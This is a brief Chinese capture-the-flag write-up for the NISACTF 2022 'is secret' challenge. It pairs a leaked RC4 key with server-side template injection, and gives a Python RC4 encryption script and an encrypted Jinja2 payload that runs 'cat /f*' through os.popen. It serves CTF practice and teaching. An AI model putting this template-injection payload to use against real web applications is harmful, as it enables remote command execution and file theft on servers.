每日练习-[NISACTF 2022]is secret

ssti和rc4加密结合

dir扫出secret页面. 

 随便传参内容,报错页面找到可疑代码

 给了密钥HereIsTreasure以及是rc4加密对传参内容进行解密,同时为ssti注入.

找了师傅们的rc4加密脚本

import base64
from urllib.parse import quote
def rc4_main(key = "init_key", message = "init_message"):
    # print("RC4加密主函数")
    s_box = rc4_init_sbox(key)
    crypt = str(rc4_excrypt(message, s_box))
    return  crypt
def rc4_init_sbox(key):
    s_box = list(range(256))
    # print("原来的 s 盒：%s" % s_box)
    j = 0
    for i in range(256):
        j = (j + s_box[i] + ord(key[i % len(key)])) % 256
        s_box[i], s_box[j] = s_box[j], s_box[i]
    # print("混乱后的 s 盒：%s"% s_box)
    return s_box
def rc4_excrypt(plain, box):
    # print("调用加密程序成功。")
    res = []
    i = j = 0
    for s in plain:
        i = (i + 1) % 256
        j = (j + box[i]) % 256
        box[i], box[j] = box[j], box[i]
        t = (box[i] + box[j]) % 256
        k = box[t]
        res.append(chr(ord(s) ^ k))
    cipher = "".join(res)
    print("加密后的字符串是：%s" %quote(cipher))
    return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
rc4_main("HereIsTreasure","{{lipsum.__globals__.os.popen('cat /f*').read()}}")

 payload:

?secret=.%14U%5C%C2%BA%14%1Ec%25%C2%A2%C3%A7%14%C2%B2%C2%BD%C3%B4%C2%A98%C2%80k%0B%C3%B9%5D%C3%B3%3C%1A%C2%9E%28%C2%8C%5C%C2%84u%C3%A4%2C%C2%9F%0D%C2%99%0E%C2%BBo%C2%AD5%C3%88%C2%88%C3%A3iF%C3%B4%07%C2%B8